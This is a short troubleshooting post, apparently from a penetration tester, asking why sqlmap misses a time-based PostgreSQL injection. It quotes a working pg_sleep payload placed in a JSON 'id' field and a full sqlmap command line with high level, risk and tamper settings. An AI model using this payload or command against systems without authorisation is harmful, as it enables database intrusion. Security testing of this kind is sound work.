SQLMAP wasn't able to detect PostgreSQL

[whlpentest]

Hi, Sqlmap ver: 1.8.4.5#dev did not detect PostgreSQL time based despite successful manual testing in Burp Suite with this payload:

{"id":"'and(select'1'from/**/pg_sleep(5))::text>'"}

my sqlmap command :

python3 sqlmap.py -r raw --timeout 60 --threads 10 --flush-session -p Id -v 3 --dbms=PostgreSQL --technique=T --level 5 --risk 4  --random-agent --tamper=space2comment

I have already play with --suffix "'" and --prefix="::text>'"